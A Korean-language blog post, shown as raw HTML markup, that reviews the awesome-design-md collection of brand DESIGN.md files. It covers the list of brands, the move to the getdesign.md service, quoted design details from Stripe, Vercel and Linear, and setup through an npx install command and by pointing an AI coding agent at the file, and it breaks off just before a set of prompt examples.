&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1078&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkfLnX/dJMcafzARuX/Mgs1BG4Kd3IFmet2MYE9k1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkfLnX/dJMcafzARuX/Mgs1BG4Kd3IFmet2MYE9k1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkfLnX/dJMcafzARuX/Mgs1BG4Kd3IFmet2MYE9k1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkfLnX%2FdJMcafzARuX%2FMgs1BG4Kd3IFmet2MYE9k1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1966&quot; height=&quot;1078&quot; data-origin-width=&quot;1966&quot; data-origin-height=&quot;1078&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;컬렉션은 현재 9개 카테고리 총 69개 브랜드로 구성된다. 아래는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README 원문&lt;/a&gt; 직접 확인 기준이다 (2026-04-22).&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;포함 브랜드&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: center; font-weight: 600;&quot;&gt;수&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;AI &amp;amp; LLM Platforms&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Claude, Cohere, ElevenLabs, Minimax, Mistral AI, Ollama, OpenCode AI, Replicate, RunwayML, Together AI, VoltAgent, xAI&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Developer Tools &amp;amp; IDEs&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Cursor, Expo, Lovable, Raycast, Superhuman, Vercel, Warp&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Backend, Database &amp;amp; DevOps&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;ClickHouse, Composio, HashiCorp, MongoDB, PostHog, Sanity, Sentry, Supabase&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Productivity &amp;amp; SaaS&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Cal.com, Intercom, Linear, Mintlify, Notion, Resend, Zapier&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Design &amp;amp; Creative Tools&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Airtable, Clay, Figma, Framer, Miro, Webflow&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Fintech &amp;amp; Crypto&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Binance, Coinbase, Kraken, Mastercard, Revolut, Stripe, Wise&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;7&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;E-commerce &amp;amp; Retail&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Airbnb, Meta, Nike, Shopify, Starbucks&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Media &amp;amp; Consumer Tech&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Apple, IBM, NVIDIA, Pinterest, PlayStation, SpaceX, Spotify, The Verge, Uber, Vodafone, WIRED&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Automotive&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;BMW, Bugatti, Ferrari, Lamborghini, Renault, Tesla&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px; text-align: center;&quot;&gt;6&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: -5px;&quot; data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README 원문&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. DESIGN.md 접근 방법 &amp;mdash; getdesign.md 서비스&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1 현재 폴더 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 GitHub 레포지토리의 각 브랜드 폴더는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://api.github.com/repos/VoltAgent/awesome-design-md/contents/design-md/stripe&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub API 직접 조회&lt;/a&gt; 기준 README.md 1개만 포함한다. DESIGN.md 본문은 외부 서비스 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md&lt;/a&gt;로 이전되었다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;design-md/stripe/
└── README.md  (113 bytes)
    &amp;rarr; &quot;Design system details have been moved to: https://getdesign.md/stripe/design-md&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;stripe, vercel, linear.app, supabase 등 모든 브랜드 폴더가 동일한 구조다. DESIGN.md 본문, 라이트/다크 프리뷰는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md&lt;/a&gt; 웹 서비스에서 제공된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2 getdesign.md 서비스&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 브랜드의 DESIGN.md는 &lt;code&gt;https://getdesign.md/{브랜드명}/design-md&lt;/code&gt; 패턴의 URL로 접근한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md/stripe/design-md&lt;/a&gt;. 웹 UI에서 열람하거나, 아래 CLI로 프로젝트에 바로 설치할 수 있다.&lt;/p&gt;
&lt;!-- 섹션 6 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section6&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 주요 컬렉션 예시 분석 &amp;mdash; Stripe, Vercel, Linear&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.1 Stripe &amp;mdash; 핀테크 디자인의 기준&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dVjk49/dJMcacW8IRS/jV96aq9FXk3hEICT8xak7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dVjk49/dJMcacW8IRS/jV96aq9FXk3hEICT8xak7k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dVjk49/dJMcacW8IRS/jV96aq9FXk3hEICT8xak7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdVjk49%2FdJMcacW8IRS%2FjV96aq9FXk3hEICT8xak7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2010&quot; height=&quot;1118&quot; data-origin-width=&quot;2010&quot; data-origin-height=&quot;1118&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Stripe DESIGN.md&lt;/a&gt;의 Visual Theme 섹션은 커스텀 &lt;code&gt;sohne-var&lt;/code&gt; 가변 폰트를 중심으로 서술된다. 원문에서 직접 인용하면:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;The custom &lt;code&gt;sohne-var&lt;/code&gt; variable font is the defining element of Stripe's visual identity. Every text element enables the OpenType &lt;code&gt;&quot;ss01&quot;&lt;/code&gt; stylistic set... At display sizes (48px-56px), sohne-var runs at weight 300 &amp;mdash; an extraordinarily light weight for headlines&quot;&lt;br /&gt;(커스텀 sohne-var variable font는 Stripe의 비주얼 아이덴티티를 규정하는 핵심 요소입니다. 모든 텍스트 요소에는 OpenType의 'ss01' 스타일 세트가 적용되며, 디스플레이 크기(48px~56px) 구간에서는 sohne-var를 weight 300으로 사용합니다. 이는 헤드라인 기준으로 매우 가벼운 두께에 해당합니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;헤드라인에 weight 300을 사용한다는 점이 핵심이다. 대부분의 웹사이트가 헤드라인에 굵은 폰트를 쓰는 반면, Stripe는 극단적으로 얇은 웨이트로 고급스러움을 표현한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Depth &amp;amp; Elevation 섹션에서 Stripe의 그림자 시스템을 확인할 수 있다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Rather than the flat or single-layer approach of most sites, Stripe uses multi-layer, blue-tinted shadows: the signature &lt;code&gt;rgba(50,50,93,0.25)&lt;/code&gt; combined with &lt;code&gt;rgba(0,0,0,0.1)&lt;/code&gt; creates shadows with a cool, almost atmospheric depth&quot;&lt;br /&gt;(&quot;일반적인 웹사이트의 단일 레이어 또는 평면적인 그림자 처리와 달리, Stripe는 블루 계열이 반영된 멀티 레이어 그림자 방식을 사용합니다. rgba(50,50,93,0.25)와 rgba(0,0,0,0.1)의 조합을 통해, 차분하면서도 공기감 있는 깊이감을 표현하는 것이 특징입니다.&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대부분의 사이트가 단일 레이어 그림자를 쓰는 것과 달리, Stripe는 블루 틴트 멀티레이어 그림자로 &quot;대기적 깊이감(atmospheric depth)&quot;을 만든다. 이런 결정이 DESIGN.md에 명시되어 있어야 AI가 재현할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.2 Vercel &amp;mdash; &quot;shadow-as-border&quot; 기법&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bTm4Jm/dJMb997covQ/cRRu10crxX4GOFxqIkKoc1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bTm4Jm/dJMb997covQ/cRRu10crxX4GOFxqIkKoc1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bTm4Jm/dJMb997covQ/cRRu10crxX4GOFxqIkKoc1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbTm4Jm%2FdJMb997covQ%2FcRRu10crxX4GOFxqIkKoc1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2032&quot; height=&quot;1098&quot; data-origin-width=&quot;2032&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/vercel/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Vercel DESIGN.md&lt;/a&gt;에서 가장 흥미로운 부분은 CSS border를 대체하는 shadow 기법이다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Instead of traditional CSS borders, Vercel uses &lt;code&gt;box-shadow: 0px 0px 0px 1px rgba(0,0,0,0.08)&lt;/code&gt; &amp;mdash; a zero-offset, zero-blur, 1px-spread shadow that creates a border-like line without the box model implications.&quot;&lt;br /&gt;(기존의 CSS border를 사용하는 대신, Vercel은 box-shadow(0px 0px 0px 1px rgba(0,0,0,0.08))를 활용합니다. offset과 blur를 0으로 두고 spread만 1px 적용해, 레이아웃(box model)에 영향을 주지 않으면서도 테두리처럼 보이는 라인을 구현하는 방식입니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;offset 0, blur 0, spread 1px의 box-shadow로 CSS border를 대체한다. 박스 모델에 영향을 주지 않으면서 경계선을 표현하는 이 기법은, Geist 커스텀 폰트와 극단적 음수 자간(-2.4px~-2.88px)과 함께 Vercel 특유의 미니멀 UI를 구성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;6.3 Linear &amp;mdash; 다크모드 네이티브 설계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/q02t7/dJMcabYfWjr/b4AKgf3vvkMFTLwuIZBDqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/q02t7/dJMcabYfWjr/b4AKgf3vvkMFTLwuIZBDqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/q02t7/dJMcabYfWjr/b4AKgf3vvkMFTLwuIZBDqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fq02t7%2FdJMcabYfWjr%2Fb4AKgf3vvkMFTLwuIZBDqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1962&quot; height=&quot;1074&quot; data-origin-width=&quot;1962&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/linear.app/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Linear DESIGN.md&lt;/a&gt;는 다크모드 퍼스트 설계의 교과서다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Linear's website is a masterclass in dark-mode-first product design... Inter Variable with &lt;code&gt;&quot;cv01&quot;, &quot;ss03&quot;&lt;/code&gt; globally... Signature weight 510 (between regular and medium) for most UI text... Brand indigo-violet: &lt;code&gt;#5e6ad2&lt;/code&gt; (bg) / &lt;code&gt;#7170ff&lt;/code&gt; (accent) / &lt;code&gt;#828fff&lt;/code&gt; (hover) &amp;mdash; the only chromatic color in the system&quot;&lt;br /&gt;(&quot;Linear&amp;nbsp;웹사이트는&amp;nbsp;다크&amp;nbsp;모드&amp;nbsp;중심&amp;nbsp;제품&amp;nbsp;디자인의&amp;nbsp;대표적인&amp;nbsp;사례입니다.&amp;nbsp;Inter&amp;nbsp;Variable&amp;nbsp;폰트를&amp;nbsp;전역적으로&amp;nbsp;적용하고,&amp;nbsp;'cv01',&amp;nbsp;'ss03'&amp;nbsp;스타일&amp;nbsp;옵션을&amp;nbsp;활성화합니다.&amp;nbsp;UI&amp;nbsp;텍스트&amp;nbsp;대부분에는&amp;nbsp;regular와&amp;nbsp;medium&amp;nbsp;사이의&amp;nbsp;중간&amp;nbsp;두께인&amp;nbsp;weight&amp;nbsp;510을&amp;nbsp;사용하며,&amp;nbsp;브랜드&amp;nbsp;컬러는&amp;nbsp;인디고-바이올렛&amp;nbsp;계열(#5e6ad2:&amp;nbsp;배경&amp;nbsp;/&amp;nbsp;#7170ff:&amp;nbsp;강조&amp;nbsp;/&amp;nbsp;#828fff:&amp;nbsp;hover)로&amp;nbsp;구성되어&amp;nbsp;있으며,&amp;nbsp;시스템&amp;nbsp;내에서&amp;nbsp;사실상&amp;nbsp;유일한&amp;nbsp;컬러&amp;nbsp;포인트로&amp;nbsp;활용됩니다.&quot;)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;배경 #08090a(퓨어 블랙에 가깝지만 완전한 블랙은 아님)에 단 하나의 유채색 계열(인디고-바이올렛)만 사용한다. &quot;시스템에서 유일한 유채색&quot;이라는 명시적 제약이 DESIGN.md에 담겨 있어야 AI가 임의로 다른 색상을 추가하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세 사이트 모두 디자인의 독특한 결정(Stripe의 얇은 헤드라인, Vercel의 shadow-as-border, Linear의 단색 크로마)은 구두 설명 없이는 재현이 어렵다. DESIGN.md는 이런 암묵적 지식을 명문화하는 역할을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7 --&gt;
&lt;h2 id=&quot;section7&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 활용법 &amp;mdash; 프로젝트에 적용하기&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.1 Step 1 &amp;mdash; DESIGN.md 다운로드 및 프로젝트 배치&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컬렉션에서 원하는 브랜드의 DESIGN.md를 프로젝트 루트에 배치한다. 현재 공식 배포 방식은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md&lt;/a&gt; 서비스를 통한 CLI 설치다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Stripe를 예로 들면:&lt;/p&gt;
&lt;pre class=&quot;awk&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# CLI로 설치 (프로젝트 루트에서 실행)
npx getdesign@latest add stripe

# 다른 브랜드 예시
npx getdesign@latest add vercel
npx getdesign@latest add linear.app&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;명령어 실행 시 DESIGN.md가 프로젝트 루트에 저장된다. 웹에서 미리 확인하려면 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md/stripe/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md/stripe/design-md&lt;/a&gt; 에서 라이트&amp;middot;다크 프리뷰를 포함한 전체 내용을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 후 프로젝트 루트 구조:&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;my-project/
├── AGENTS.md       &amp;larr; 빌드 방법 정의 (선택)
├── DESIGN.md       &amp;larr; 디자인 외관 정의
├── src/
└── ...&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 브랜드를 원하면 &lt;code&gt;stripe&lt;/code&gt; 자리에 브랜드명을 넣는다. 예: &lt;code&gt;vercel&lt;/code&gt;, &lt;code&gt;linear.app&lt;/code&gt;, &lt;code&gt;supabase&lt;/code&gt;, &lt;code&gt;cursor&lt;/code&gt;. 지원 브랜드 전체 목록은 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://getdesign.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;getdesign.md&lt;/a&gt; 또는 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/tree/main/design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GitHub 디렉토리&lt;/a&gt;에서 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;7.2 Step 2 &amp;mdash; AI 에이전트에 참조 지시하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;awesome-design-md README는 사용법을 다음과 같이 안내한다:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Copy a site's &lt;code&gt;DESIGN.md&lt;/code&gt; into your project root. Tell your AI agent to use it.&quot;&lt;br /&gt;(사용하려는 사이트의 DESIGN.md 파일을 프로젝트 루트 디렉토리에 복사하고, AI 에이전트가 해당 파일을 참조하도록 안내합니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 에이전트에게 DESIGN.md를 읽도록 &lt;b&gt;명시적으로 지시&lt;/b&gt;하는 것이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1072&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmiEtn/dJMcaiQza2w/KbJj7LHsMRshRLdQ7M3XdK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmiEtn/dJMcaiQza2w/KbJj7LHsMRshRLdQ7M3XdK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmiEtn/dJMcaiQza2w/KbJj7LHsMRshRLdQ7M3XdK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmiEtn%2FdJMcaiQza2w%2FKbJj7LHsMRshRLdQ7M3XdK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1960&quot; height=&quot;1072&quot; data-origin-width=&quot;1960&quot; data-origin-height=&quot;1072&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;상황별 프롬프트 예시:&lt;/p&gt;
